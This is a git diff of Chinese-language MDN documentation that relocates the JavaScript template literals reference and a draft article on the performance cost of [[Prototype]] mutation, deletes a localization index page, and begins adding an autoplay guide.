+ +

模板字符串使用反引号 (` `) 来代替普通字符串中的用双引号和单引号。模板字符串可以包含特定语法(${expression})的占位符。占位符中的表达式和周围的文本会一起传递给一个默认函数,该函数负责将所有的部分连接起来,如果一个模板字符串由表达式开头,则该字符串被称为带标签的模板字符串,该表达式通常是一个函数,它会在模板字符串处理后被调用,在输出最终结果前,你都可以通过该函数来对模板字符串进行操作处理。在模版字符串内使用反引号(`)时,需要在它前面加转义符(\)。

+ +
`\`` === "`" // --> true
+ +

多行字符串

+ +

在新行中插入的任何字符都是模板字符串中的一部分,使用普通字符串,你可以通过以下的方式获得多行字符串:

+ +
console.log('string text line 1\n' +
+'string text line 2');
+// "string text line 1
+// string text line 2"
+ +

要获得同样效果的多行字符串,只需使用如下代码:

+ +
console.log(`string text line 1
+string text line 2`);
+// "string text line 1
+// string text line 2"
+ +

插入表达式

+ +

在普通字符串中嵌入表达式,必须使用如下语法:

+ +

 

+ +
var a = 5;
+var b = 10;
+console.log('Fifteen is ' + (a + b) + ' and\nnot ' + (2 * a + b) + '.');
+// "Fifteen is 15 and
+// not 20."
+ +

 

+ +

现在通过模板字符串,我们可以使用一种更优雅的方式来表示:

+ +

 

+ +
var a = 5;
+var b = 10;
+console.log(`Fifteen is ${a + b} and
+not ${2 * a + b}.`);
+// "Fifteen is 15 and
+// not 20."
+ +

 

+ +

嵌套模板

+ +

在某些时候,嵌套模板是具有可配置字符串的最简单也是更可读的方法。 在模板中,只需在模板内的占位符 ${ } 内使用它们,就可以轻松地使用内部反引号。 例如,如果条件 a 是真的,那么返回这个模板化的文字。

+ +

ES5:

+ +
var classes = 'header'
+classes += (isLargeScreen() ?
+   '' : item.isCollapsed ?
+     ' icon-expander' : ' icon-collapser');
+ +

在ES2015中使用模板文字而没有嵌套:

+ +
const classes = `header ${ isLargeScreen() ? '' :
+    (item.isCollapsed ? 'icon-expander' : 'icon-collapser') }`;
+
+ +

 

+ +

在ES2015的嵌套模板字面量中:

+ +

 

+ +
const classes = `header ${ isLargeScreen() ? '' :
+ `icon-${item.isCollapsed ? 'expander' : 'collapser'}` }`;
+ +

 

+ +

 

+ +

带标签的模板字符串

+ +

更高级的形式的模板字符串是带标签的模板字符串。标签使您可以用函数解析模板字符串。标签函数的第一个参数包含一个字符串值的数组。其余的参数与表达式相关。最后,你的函数可以返回处理好的的字符串(或者它可以返回完全不同的东西 , 如下个例子所述)。用于该标签的函数的名称可以被命名为任何名字。

+ +
var person = 'Mike';
+var age = 28;
+
+function myTag(strings, personExp, ageExp) {
+
+  var str0 = strings[0]; // "that "
+  var str1 = strings[1]; // " is a "
+
+  // There is technically a string after
+  // the final expression (in our example),
+  // but it is empty (""), so disregard.
+  // var str2 = strings[2];
+
+  var ageStr;
+  if (ageExp > 99){
+    ageStr = 'centenarian';
+  } else {
+    ageStr = 'youngster';
+  }
+
+  return str0 + personExp + str1 + ageStr;
+
+}
+
+var output = myTag`that ${ person } is a ${ age }`;
+
+console.log(output);
+// that Mike is a youngster
+ +

正如下面例子所展示的,标签函数并不一定需要返回一个字符串。

+ +
function template(strings, ...keys) {
+  return (function(...values) {
+    var dict = values[values.length - 1] || {};
+    var result = [strings[0]];
+    keys.forEach(function(key, i) {
+      var value = Number.isInteger(key) ? values[key] : dict[key];
+      result.push(value, strings[i + 1]);
+    });
+    return result.join('');
+  });
+}
+
+var t1Closure = template`${0}${1}${0}!`;
+t1Closure('Y', 'A');  // "YAY!"
+var t2Closure = template`${0} ${'foo'}!`;
+t2Closure('Hello', {foo: 'World'});  // "Hello World!"
+ +

原始字符串

+ +

在标签函数的第一个参数中,存在一个特殊的属性raw ,我们可以通过它来访问模板字符串的原始字符串,而不经过特殊字符的替换。

+ +
function tag(strings) {
+  console.log(strings.raw[0]);
+}
+
+tag`string text line 1 \n string text line 2`;
+// logs "string text line 1 \n string text line 2" ,
+// including the two characters '\' and 'n'
+ +

另外,使用{{jsxref("String.raw()")}} 方法创建原始字符串和使用默认模板函数和字符串连接创建是一样的。

+ +
var str = String.raw`Hi\n${2+3}!`;
+// "Hi\n5!"
+
+str.length;
+// 6
+
+str.split('').join(',');
+// "H,i,\,n,5,!"
+
+ +

带标签的模版字面量及转义序列

+ +

自ES2016起,带标签的模版字面量遵守以下转义序列的规则:

+ +
    +
  • Unicode字符以"\u"开头,例如\u00A9
  • +
  • Unicode码位用"\u{}"表示,例如\u{2F804}
  • +
  • 十六进制以"\x"开头,例如\xA9
  • +
  • 八进制以"\"和数字开头,例如\251
  • +
+ +

这表示类似下面这种带标签的模版是有问题的,因为对于每一个ECMAScript语法,解析器都会去查找有效的转义序列,但是只能得到这是一个形式错误的语法:

+ +
latex`\unicode`
+// 在较老的ECMAScript版本中报错(ES2016及更早)
+// SyntaxError: malformed Unicode character escape sequence
+
+ +

ES2018关于非法转义序列的修订

+ +

带标签的模版字符串应该允许嵌套支持常见转义序列的语言(例如DSLsLaTeX)。ECMAScript提议模版字面量修订(第4阶段,将要集成到ECMAScript 2018标准) 移除对ECMAScript在带标签的模版字符串中转义序列的语法限制。

+ +

不过,非法转义序列在"cooked"当中仍然会体现出来。它们将以 {{jsxref("undefined")}} 元素的形式存在于"cooked"之中:

+ +
function latex(str) {
+ return { "cooked": str[0], "raw": str.raw[0] }
+}
+
+latex`\unicode`
+
+// { cooked: undefined, raw: "\\unicode" }
+ +

值得注意的是,这一转义序列限制只对带标签的模板字面量移除,而不包括不带标签的模板字面量:

+ +
let bad = `bad escape sequence: \unicode`;
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-template-literals', 'Template Literals')}}{{Spec2('ES2015')}}Initial definition. Defined in several section of the specification: Template Literals, Tagged Templates
{{SpecName('ESDraft', '#sec-template-literals', 'Template Literals')}}{{Spec2('ESDraft')}}Defined in several section of the specification: Template Literals, Tagged Templates
Template Literal RevisionStage 4 draftDrops escape sequence restriction from tagged templates
+ +

浏览器兼容

+ +
+ + +

{{Compat("javascript.grammar.template_literals")}}

+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/javascript/reference/template_strings/index.html b/files/zh-cn/web/javascript/reference/template_strings/index.html deleted file mode 100644 index aec3adfb5b..0000000000 --- a/files/zh-cn/web/javascript/reference/template_strings/index.html +++ /dev/null @@ -1,261 +0,0 @@ ---- -title: 模板字符串 -slug: Web/JavaScript/Reference/template_strings -tags: - - ECMAScript6 - - JavaScript - - Template string - - 模板字符串 -translation_of: Web/JavaScript/Reference/Template_literals ---- -
{{JsSidebar("More")}} 
- -

模板字面量 是允许嵌入表达式的字符串字面量。你可以使用多行字符串和字符串插值功能。它们在ES2015规范的先前版本中被称为“模板字符串”。

- -

语法

- -
`string text`
-
-`string text line 1
- string text line 2`
-
-`string text ${expression} string text`
-
-tag `string text ${expression} string text`
-
- -

描述

- -

模板字符串使用反引号 (` `) 来代替普通字符串中的用双引号和单引号。模板字符串可以包含特定语法(${expression})的占位符。占位符中的表达式和周围的文本会一起传递给一个默认函数,该函数负责将所有的部分连接起来,如果一个模板字符串由表达式开头,则该字符串被称为带标签的模板字符串,该表达式通常是一个函数,它会在模板字符串处理后被调用,在输出最终结果前,你都可以通过该函数来对模板字符串进行操作处理。在模版字符串内使用反引号(`)时,需要在它前面加转义符(\)。

- -
`\`` === "`" // --> true
- -

多行字符串

- -

在新行中插入的任何字符都是模板字符串中的一部分,使用普通字符串,你可以通过以下的方式获得多行字符串:

- -
console.log('string text line 1\n' +
-'string text line 2');
-// "string text line 1
-// string text line 2"
- -

要获得同样效果的多行字符串,只需使用如下代码:

- -
console.log(`string text line 1
-string text line 2`);
-// "string text line 1
-// string text line 2"
- -

插入表达式

- -

在普通字符串中嵌入表达式,必须使用如下语法:

- -

 

- -
var a = 5;
-var b = 10;
-console.log('Fifteen is ' + (a + b) + ' and\nnot ' + (2 * a + b) + '.');
-// "Fifteen is 15 and
-// not 20."
- -

 

- -

现在通过模板字符串,我们可以使用一种更优雅的方式来表示:

- -

 

- -
var a = 5;
-var b = 10;
-console.log(`Fifteen is ${a + b} and
-not ${2 * a + b}.`);
-// "Fifteen is 15 and
-// not 20."
- -

 

- -

嵌套模板

- -

在某些时候,嵌套模板是具有可配置字符串的最简单也是更可读的方法。 在模板中,只需在模板内的占位符 ${ } 内使用它们,就可以轻松地使用内部反引号。 例如,如果条件 a 是真的,那么返回这个模板化的文字。

- -

ES5:

- -
var classes = 'header'
-classes += (isLargeScreen() ?
-   '' : item.isCollapsed ?
-     ' icon-expander' : ' icon-collapser');
- -

在ES2015中使用模板文字而没有嵌套:

- -
const classes = `header ${ isLargeScreen() ? '' :
-    (item.isCollapsed ? 'icon-expander' : 'icon-collapser') }`;
-
- -

 

- -

在ES2015的嵌套模板字面量中:

- -

 

- -
const classes = `header ${ isLargeScreen() ? '' :
- `icon-${item.isCollapsed ? 'expander' : 'collapser'}` }`;
- -

 

- -

 

- -

带标签的模板字符串

- -

更高级的形式的模板字符串是带标签的模板字符串。标签使您可以用函数解析模板字符串。标签函数的第一个参数包含一个字符串值的数组。其余的参数与表达式相关。最后,你的函数可以返回处理好的的字符串(或者它可以返回完全不同的东西 , 如下个例子所述)。用于该标签的函数的名称可以被命名为任何名字。

- -
var person = 'Mike';
-var age = 28;
-
-function myTag(strings, personExp, ageExp) {
-
-  var str0 = strings[0]; // "that "
-  var str1 = strings[1]; // " is a "
-
-  // There is technically a string after
-  // the final expression (in our example),
-  // but it is empty (""), so disregard.
-  // var str2 = strings[2];
-
-  var ageStr;
-  if (ageExp > 99){
-    ageStr = 'centenarian';
-  } else {
-    ageStr = 'youngster';
-  }
-
-  return str0 + personExp + str1 + ageStr;
-
-}
-
-var output = myTag`that ${ person } is a ${ age }`;
-
-console.log(output);
-// that Mike is a youngster
- -

正如下面例子所展示的,标签函数并不一定需要返回一个字符串。

- -
function template(strings, ...keys) {
-  return (function(...values) {
-    var dict = values[values.length - 1] || {};
-    var result = [strings[0]];
-    keys.forEach(function(key, i) {
-      var value = Number.isInteger(key) ? values[key] : dict[key];
-      result.push(value, strings[i + 1]);
-    });
-    return result.join('');
-  });
-}
-
-var t1Closure = template`${0}${1}${0}!`;
-t1Closure('Y', 'A');  // "YAY!"
-var t2Closure = template`${0} ${'foo'}!`;
-t2Closure('Hello', {foo: 'World'});  // "Hello World!"
- -

原始字符串

- -

在标签函数的第一个参数中,存在一个特殊的属性raw ,我们可以通过它来访问模板字符串的原始字符串,而不经过特殊字符的替换。

- -
function tag(strings) {
-  console.log(strings.raw[0]);
-}
-
-tag`string text line 1 \n string text line 2`;
-// logs "string text line 1 \n string text line 2" ,
-// including the two characters '\' and 'n'
- -

另外,使用{{jsxref("String.raw()")}} 方法创建原始字符串和使用默认模板函数和字符串连接创建是一样的。

- -
var str = String.raw`Hi\n${2+3}!`;
-// "Hi\n5!"
-
-str.length;
-// 6
-
-str.split('').join(',');
-// "H,i,\,n,5,!"
-
- -

带标签的模版字面量及转义序列

- -

自ES2016起,带标签的模版字面量遵守以下转义序列的规则:

- -
    -
  • Unicode字符以"\u"开头,例如\u00A9
  • -
  • Unicode码位用"\u{}"表示,例如\u{2F804}
  • -
  • 十六进制以"\x"开头,例如\xA9
  • -
  • 八进制以"\"和数字开头,例如\251
  • -
- -

这表示类似下面这种带标签的模版是有问题的,因为对于每一个ECMAScript语法,解析器都会去查找有效的转义序列,但是只能得到这是一个形式错误的语法:

- -
latex`\unicode`
-// 在较老的ECMAScript版本中报错(ES2016及更早)
-// SyntaxError: malformed Unicode character escape sequence
-
- -

ES2018关于非法转义序列的修订

- -

带标签的模版字符串应该允许嵌套支持常见转义序列的语言(例如DSLsLaTeX)。ECMAScript提议模版字面量修订(第4阶段,将要集成到ECMAScript 2018标准) 移除对ECMAScript在带标签的模版字符串中转义序列的语法限制。

- -

不过,非法转义序列在"cooked"当中仍然会体现出来。它们将以 {{jsxref("undefined")}} 元素的形式存在于"cooked"之中:

- -
function latex(str) {
- return { "cooked": str[0], "raw": str.raw[0] }
-}
-
-latex`\unicode`
-
-// { cooked: undefined, raw: "\\unicode" }
- -

值得注意的是,这一转义序列限制只对带标签的模板字面量移除,而不包括不带标签的模板字面量:

- -
let bad = `bad escape sequence: \unicode`;
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-template-literals', 'Template Literals')}}{{Spec2('ES2015')}}Initial definition. Defined in several section of the specification: Template Literals, Tagged Templates
{{SpecName('ESDraft', '#sec-template-literals', 'Template Literals')}}{{Spec2('ESDraft')}}Defined in several section of the specification: Template Literals, Tagged Templates
Template Literal RevisionStage 4 draftDrops escape sequence restriction from tagged templates
- -

浏览器兼容

- -
- - -

{{Compat("javascript.grammar.template_literals")}}

-
- -

相关链接

- - diff --git a/files/zh-cn/web/javascript/the_performance_hazards_of__[[prototype]]_mutation/index.html b/files/zh-cn/web/javascript/the_performance_hazards_of__[[prototype]]_mutation/index.html deleted file mode 100644 index aacff4c8d9..0000000000 --- a/files/zh-cn/web/javascript/the_performance_hazards_of__[[prototype]]_mutation/index.html +++ /dev/null @@ -1,142 +0,0 @@ ---- -title: 'The performance hazards of [[Prototype]] mutation' -slug: 'Web/JavaScript/The_performance_hazards_of__[[Prototype]]_mutation' -translation_of: 'Web/JavaScript/The_performance_hazards_of__[[Prototype]]_mutation' ---- -

{{draft}}

- -

{{jsSidebar("Advanced")}}

- -

每个JavaScript对象都拥有一个[[Prototype]]对象。  获取一个对象的属性时首先会搜索其自身, 然后就是它的 [[Prototype]]对象, 之后再搜索此[[Prototype]]对象的 [[Prototype]]对象, 直到找到这个属性或者搜索链条达到终点. 这个类似链条的查找过程被称为原型链。  原型链在对象继承中非常重要。

- -

ECMAScript 6 引入了一种方式来修改 [[Prototype]]对象。 提升了灵活性的代价是降低了性能。 修改[[Prototype]] 对象会损害降低所有现代 JavaScrip引擎的性能。这篇文章解释了修改 [[Prototype]] 对象在所有浏览器中都很慢的原因并给出了替代方案。

- -

JavaScript引擎是如何提升访问对象属性的性能的

- -

Objects are hashes, 所以理论上来说 (实际上也是如此) 访问属性所花费的时间是恒定不变的.  但是 "恒定不变" 的背后也可能有成千上万的机器指令.  幸运的是, 大多数情况下对象和属性是"可预测的", 在这些情况下它们的底层结构也是可预测的.  即时编译器可以据此来减少对象属性的访问所花费时间。

- -

引擎根据添加到对象的顺序属性进行优化。大多数属性都是按照非常相似的顺序添加到对象中的。(经常使用obj[val]风格的随机访问访问对象是一个明显的例外。)

- -
function Landmark(lat, lon, desc) {
-  this.location = { lat: lat, long: lon };
-  this.description = desc;
-}
-var lm1 = new Landmark(-90, 0, "South Pole");
-var lm2 = new Landmark(-24.3756466, -128.311018, "Pitcairn Islands");
- -

在上面的例子中,每生成一个 Landmark 对象时都将按照 location 和 description 两个属性顺序加载,而存储“经度/纬度”信息的 location 也具有 lat 到 long 的顺序。随后的代码可以删除一个属性。但这是不可能的,因为引擎在这种情况下会生成一段不太理想的代码。在 SpiderMonkey (火狐的 JavaScript 引擎)里,属性的特定顺序(以及属性的其他一些方面,但不包括值)我们称之为“形状”(shape)(谷歌 V8 引擎里,这个概念名为“结构ID”(structure ID))。如果两个对象共享同一个 shape,那么他们属性的存储也相同。

- -

Landmark 对象在引擎内部的(简化)版本如同下面的 C++:

- -
struct Property {
-  Property* prev; // null if first property
-  String name; // name of property
-  unsigned int index; // index of its value in storage
-};
-using Shape = Property*;
-struct Object {
-  Shape shape;
-  Value* properties;
-  Object* prototype;
-};
- -

例子中的JS表达式对应下面的 C++:

- -
lm1->properties[0]; // loc1.location
-lm1->properties[1]; // loc1.description
-lm2->properties[0].toObject()->properties[1]; // loc2.location.long
- -

如果引擎知道一个对象具有特殊 shape,就可以根据 shape 假定这个对象所有属性的索引。这样一来进行一次访问特定属性,也就相当于几个指针访问所花费的时间。机器语言去检查对象是否具有特定 shape 也很容易,如果有,那么假定索引快速访问;如果没有,那么慢慢来。

- -

Naively optimizing inherited properties

- -

Many properties don't exist directly on the object: lookups often find properties on the prototype chain.  Accesses to properties on prototypes is just extra "hops" through the prototype field to the object containing the property.  Optimizing correctly requires that no object along the way have the property, so every hop must check that object's shape.

- -
var d = new Date();
-d.toDateString(); // Date.prototype.toDateString
-
-function Pair(x, y) { this.x = x; this.y = y; }
-Pair.prototype.sum = function() { return this.x + this.y; };
-
-var p = new Pair(3, 7);
-p.sum(); // Pair.prototype.sum
- -

Engines take this quick-and-dirty approach in many cases.  But in especially performance-sensitive JavaScript, this isn't good enough.

- -

Intelligently optimizing inherited properties

- -

Predictable property accesses usually find the property a constant number of hops along the [[Prototype]] chain; intervening objects usually don't acquire new properties; the ultimate object usually won't have any properties deleted.  Finally: [[Prototype]] mutation is rare.  All these common assumptions are necessary to avoid slow prototype-hopping.  Different engines choose different approaches to intelligently optimize inherited properties.

- -
-
The shape of the ultimate object containing the inherited can be checked.
-
In this case, a shape match must imply that no intervening object's [[Prototype]] has been modified.  Therefore, when an object's [[Prototype]] is mutated, every object along its [[Prototype]] chain must also have its shape changed.
-
-
var obj1 = {};
-var obj2 = Object.create(obj1);
-var obj3 = Object.create(obj2);
-
-// Objects whose shapes would change: obj3, obj2, obj1, Object.prototype
-obj3.__proto__ = {};
-
-
The shape of the object initially accessed can be checked.
-
Every object that might inherit through a changed-[[Prototype]] object must change, reflecting the [[Prototype]] mutation having happened
-
-
var obj1 = {};
-var obj2 = Object.create(obj1);
-var obj3 = Object.create(obj2);
-
-// Objects whose shapes would change: obj1, obj2, obj3
-obj1.__proto__ = {};
-
-
- -

Pernicious effects of [[Prototype]] mutation

- -

[[Prototype]] mutation's adverse performance impact occurs in two phases: at the time mutation occurs, and in subsequent execution.  First, mutating [[Prototype]] is slow.  Second, mutating [[Prototype]] slows down code that interacts with mutated-[[Prototype]] objects.

- -

Mutating [[Prototype]] is slow

- -

While the spec considers mutating [[Prototype]] to be modifying a single hidden property, real-world implementations are considerably more complex.  Both shape-changing tactics described above require examining (and modifying) more than one object.  Which approach modifies fewer objects in practice, depends upon the workload.

- -

Mutated [[Prototype]]s slow down other code

- -

The bad effects of [[Prototype]] mutation don't end once the mutation is complete.  Because so many property-examination operations implicitly depend on [[Prototype]] chains not changing, when engines observe a mutation, an object with mutated [[Prototype]] "taints" all code the object flows through.  This tainting flows through all code that ever observes a mutated-[[Prototype]] object.  As a near-worst-case illustration, consider these patterns of behavior:

- -
var obj = {};
-obj.__proto__ = { x: 3 }; // gratuitous mutation
-
-var arr = [obj];
-for (var i = 0; i < 5; i++)
-  arr.push({ x: i });
-
-function f(v, i) {
-  var elt = v[i];
-  var r =  elt.x > 2 // pessimized
-           ? elt
-           : { x: elt.x + 1 };
-  return r;
-}
-var c = f(arr, 0);
-c.x; // pessimized: return value has unknown properties
-c = f(arr, 1);
-c.x; // still pessimized!
-
-var arr2 = [c];
-arr2[0].x; // pessimized
-
- -

(Only code that runs many times is optimized, so this doesn't trigger all these bad behaviors.  But every breakdown could happen if it appeared in "hot" code.)

- -

Recognizing exactly where a mutated-[[Prototype]] object flows, often across multiple scripts, is extraordinarily difficult.  It depends on careful textual analysis of the code and particular runtime behaviors.  Far-distant changes, that trigger subtly different control flow, can taint previously-optimal code paths with pessimal behavior.  It's impossible to recognize all the places that will become slower, even for a JavaScript language implementer.

- -

remaining constant.Mutation must, in addition to changing other objects' shapes,

- -

 

- -

  But this requires storing cross-object information.

- -

Cross-object information is different from shape, in that it can't easily be checked.  One modification to this information may affect many locations, none obviously connected to it: where to look to verify assumptions?  So instead of checking the assumptions before use, all code making assumptions is invalidated when a modification happens.  When a [[Prototype]] changes, all code depending on it must be thrown away.  The operation obj.__proto__ = ... is thus inherently slow.  And by throwing away already-optimized code, it makes that code much slower when it runs later.

- -

But it's worse than that.  When evaluating obj.prop sees an object whose [[Prototype]] has been mutated, so much previously-known information about the object becomes useless that SpiderMonkey considers the object to have wholly-unknown characteristics.  Any code path that touches such an object in the future will assume the worst.  Optimizing JIT engines assume that future execution is like past execution.  If an object with mutated [[Prototype]] is observed by some code, that code will likely observe more such objects.  Therefore, operations that interact with an object with mutated [[Prototype]], anywhere, in any scripts, are un-optimizable.

- -

The un-optimizability of objects with mutated [[Prototype]] is not

diff --git a/files/zh-cn/web/javascript/the_performance_hazards_of_prototype_mutation/index.html b/files/zh-cn/web/javascript/the_performance_hazards_of_prototype_mutation/index.html new file mode 100644 index 0000000000..aacff4c8d9 --- /dev/null +++ b/files/zh-cn/web/javascript/the_performance_hazards_of_prototype_mutation/index.html @@ -0,0 +1,142 @@ +--- +title: 'The performance hazards of [[Prototype]] mutation' +slug: 'Web/JavaScript/The_performance_hazards_of__[[Prototype]]_mutation' +translation_of: 'Web/JavaScript/The_performance_hazards_of__[[Prototype]]_mutation' +--- +

{{draft}}

+ +

{{jsSidebar("Advanced")}}

+ +

每个JavaScript对象都拥有一个[[Prototype]]对象。  获取一个对象的属性时首先会搜索其自身, 然后就是它的 [[Prototype]]对象, 之后再搜索此[[Prototype]]对象的 [[Prototype]]对象, 直到找到这个属性或者搜索链条达到终点. 这个类似链条的查找过程被称为原型链。  原型链在对象继承中非常重要。

+ +

ECMAScript 6 引入了一种方式来修改 [[Prototype]]对象。 提升了灵活性的代价是降低了性能。 修改[[Prototype]] 对象会损害降低所有现代 JavaScrip引擎的性能。这篇文章解释了修改 [[Prototype]] 对象在所有浏览器中都很慢的原因并给出了替代方案。

+ +

JavaScript引擎是如何提升访问对象属性的性能的

+ +

Objects are hashes, 所以理论上来说 (实际上也是如此) 访问属性所花费的时间是恒定不变的.  但是 "恒定不变" 的背后也可能有成千上万的机器指令.  幸运的是, 大多数情况下对象和属性是"可预测的", 在这些情况下它们的底层结构也是可预测的.  即时编译器可以据此来减少对象属性的访问所花费时间。

+ +

引擎根据添加到对象的顺序属性进行优化。大多数属性都是按照非常相似的顺序添加到对象中的。(经常使用obj[val]风格的随机访问访问对象是一个明显的例外。)

+ +
function Landmark(lat, lon, desc) {
+  this.location = { lat: lat, long: lon };
+  this.description = desc;
+}
+var lm1 = new Landmark(-90, 0, "South Pole");
+var lm2 = new Landmark(-24.3756466, -128.311018, "Pitcairn Islands");
+ +

在上面的例子中,每生成一个 Landmark 对象时都将按照 location 和 description 两个属性顺序加载,而存储“经度/纬度”信息的 location 也具有 lat 到 long 的顺序。随后的代码可以删除一个属性。但这是不可能的,因为引擎在这种情况下会生成一段不太理想的代码。在 SpiderMonkey (火狐的 JavaScript 引擎)里,属性的特定顺序(以及属性的其他一些方面,但不包括值)我们称之为“形状”(shape)(谷歌 V8 引擎里,这个概念名为“结构ID”(structure ID))。如果两个对象共享同一个 shape,那么他们属性的存储也相同。

+ +

Landmark 对象在引擎内部的(简化)版本如同下面的 C++:

+ +
struct Property {
+  Property* prev; // null if first property
+  String name; // name of property
+  unsigned int index; // index of its value in storage
+};
+using Shape = Property*;
+struct Object {
+  Shape shape;
+  Value* properties;
+  Object* prototype;
+};
+ +

例子中的JS表达式对应下面的 C++:

+ +
lm1->properties[0]; // loc1.location
+lm1->properties[1]; // loc1.description
+lm2->properties[0].toObject()->properties[1]; // loc2.location.long
+ +

如果引擎知道一个对象具有特殊 shape,就可以根据 shape 假定这个对象所有属性的索引。这样一来进行一次访问特定属性,也就相当于几个指针访问所花费的时间。机器语言去检查对象是否具有特定 shape 也很容易,如果有,那么假定索引快速访问;如果没有,那么慢慢来。

+ +

Naively optimizing inherited properties

+ +

Many properties don't exist directly on the object: lookups often find properties on the prototype chain.  Accesses to properties on prototypes is just extra "hops" through the prototype field to the object containing the property.  Optimizing correctly requires that no object along the way have the property, so every hop must check that object's shape.

+ +
var d = new Date();
+d.toDateString(); // Date.prototype.toDateString
+
+function Pair(x, y) { this.x = x; this.y = y; }
+Pair.prototype.sum = function() { return this.x + this.y; };
+
+var p = new Pair(3, 7);
+p.sum(); // Pair.prototype.sum
+ +

Engines take this quick-and-dirty approach in many cases.  But in especially performance-sensitive JavaScript, this isn't good enough.

+ +

Intelligently optimizing inherited properties

+ +

Predictable property accesses usually find the property a constant number of hops along the [[Prototype]] chain; intervening objects usually don't acquire new properties; the ultimate object usually won't have any properties deleted.  Finally: [[Prototype]] mutation is rare.  All these common assumptions are necessary to avoid slow prototype-hopping.  Different engines choose different approaches to intelligently optimize inherited properties.

+ +
+
The shape of the ultimate object containing the inherited can be checked.
+
In this case, a shape match must imply that no intervening object's [[Prototype]] has been modified.  Therefore, when an object's [[Prototype]] is mutated, every object along its [[Prototype]] chain must also have its shape changed.
+
+
var obj1 = {};
+var obj2 = Object.create(obj1);
+var obj3 = Object.create(obj2);
+
+// Objects whose shapes would change: obj3, obj2, obj1, Object.prototype
+obj3.__proto__ = {};
+
+
The shape of the object initially accessed can be checked.
+
Every object that might inherit through a changed-[[Prototype]] object must change, reflecting the [[Prototype]] mutation having happened
+
+
var obj1 = {};
+var obj2 = Object.create(obj1);
+var obj3 = Object.create(obj2);
+
+// Objects whose shapes would change: obj1, obj2, obj3
+obj1.__proto__ = {};
+
+
+ +

Pernicious effects of [[Prototype]] mutation

+ +

[[Prototype]] mutation's adverse performance impact occurs in two phases: at the time mutation occurs, and in subsequent execution.  First, mutating [[Prototype]] is slow.  Second, mutating [[Prototype]] slows down code that interacts with mutated-[[Prototype]] objects.

+ +

Mutating [[Prototype]] is slow

+ +

While the spec considers mutating [[Prototype]] to be modifying a single hidden property, real-world implementations are considerably more complex.  Both shape-changing tactics described above require examining (and modifying) more than one object.  Which approach modifies fewer objects in practice, depends upon the workload.

+ +

Mutated [[Prototype]]s slow down other code

+ +

The bad effects of [[Prototype]] mutation don't end once the mutation is complete.  Because so many property-examination operations implicitly depend on [[Prototype]] chains not changing, when engines observe a mutation, an object with mutated [[Prototype]] "taints" all code the object flows through.  This tainting flows through all code that ever observes a mutated-[[Prototype]] object.  As a near-worst-case illustration, consider these patterns of behavior:

+ +
var obj = {};
+obj.__proto__ = { x: 3 }; // gratuitous mutation
+
+var arr = [obj];
+for (var i = 0; i < 5; i++)
+  arr.push({ x: i });
+
+function f(v, i) {
+  var elt = v[i];
+  var r =  elt.x > 2 // pessimized
+           ? elt
+           : { x: elt.x + 1 };
+  return r;
+}
+var c = f(arr, 0);
+c.x; // pessimized: return value has unknown properties
+c = f(arr, 1);
+c.x; // still pessimized!
+
+var arr2 = [c];
+arr2[0].x; // pessimized
+
+ +

(Only code that runs many times is optimized, so this doesn't trigger all these bad behaviors.  But every breakdown could happen if it appeared in "hot" code.)

+ +

Recognizing exactly where a mutated-[[Prototype]] object flows, often across multiple scripts, is extraordinarily difficult.  It depends on careful textual analysis of the code and particular runtime behaviors.  Far-distant changes, that trigger subtly different control flow, can taint previously-optimal code paths with pessimal behavior.  It's impossible to recognize all the places that will become slower, even for a JavaScript language implementer.

+ +

remaining constant.Mutation must, in addition to changing other objects' shapes,

+ +

 

+ +

  But this requires storing cross-object information.

+ +

Cross-object information is different from shape, in that it can't easily be checked.  One modification to this information may affect many locations, none obviously connected to it: where to look to verify assumptions?  So instead of checking the assumptions before use, all code making assumptions is invalidated when a modification happens.  When a [[Prototype]] changes, all code depending on it must be thrown away.  The operation obj.__proto__ = ... is thus inherently slow.  And by throwing away already-optimized code, it makes that code much slower when it runs later.

+ +

But it's worse than that.  When evaluating obj.prop sees an object whose [[Prototype]] has been mutated, so much previously-known information about the object becomes useless that SpiderMonkey considers the object to have wholly-unknown characteristics.  Any code path that touches such an object in the future will assume the worst.  Optimizing JIT engines assume that future execution is like past execution.  If an object with mutated [[Prototype]] is observed by some code, that code will likely observe more such objects.  Therefore, operations that interact with an object with mutated [[Prototype]], anywhere, in any scripts, are un-optimizable.

+ +

The un-optimizability of objects with mutated [[Prototype]] is not

diff --git a/files/zh-cn/web/localization/index.html b/files/zh-cn/web/localization/index.html deleted file mode 100644 index 0bc89e00c7..0000000000 --- a/files/zh-cn/web/localization/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: 本地化和全球化 -slug: Web/Localization -translation_of: Web/Localization ---- -

本地化(通常缩写为 L10n)能够使网站、Web应用或任何其他形式的内容适用于特定语言的范围和文化圈。国际化(通常缩写为 I18n)被设计用来使网站或应用程序尽可能的实现本地化。

- -
-
-

指南和教程

- -

指南和教程可帮助您学习如何确保您的项目已准备好全球化,以及如何将其本地化。

- -
-
国际化概念
-
概述什么是国际化(i18n)以及可用于Web开发人员的哪些功能和技术可用于确保您的内容准备好进行本地化。
-
本地化简介
-
关于本地化网站或应用程序的入门指南,从确定需要检查和可能更改的因素到实际应用所需的更改。
-
Unicode双向文本算法(译者注:尚未翻译)
-
Unicode双向算法是用于确定Unicode文本的呈现顺序的标准算法,而Web浏览器在呈现内容时使用它。 本概述将使您对{{Glossary("BiDi")}}算法及其对您的国际化工作有何影响。
-
-
- -
-

参考

- -

参考资料将在您创建可本地化的站点时提供帮助。

- -
-
可用于i18n和l10n的HTML元素
-
对HTML提供的元素的引用,这些元素可用于创建准备本地化的内容。
-
CSS和本地化
-
对CSS属性的参考,在生成支持10n的内容时特别重要。
-
-
-
diff --git a/files/zh-cn/web/media/autoplay_guide/index.html b/files/zh-cn/web/media/autoplay_guide/index.html new file mode 100644 index 0000000000..db2ac88dc0 --- /dev/null +++ b/files/zh-cn/web/media/autoplay_guide/index.html @@ -0,0 +1,265 @@ +--- +title: Autoplay guide for media and Web Audio APIs +slug: Web/媒体/Autoplay_guide +translation_of: Web/Media/Autoplay_guide +--- +

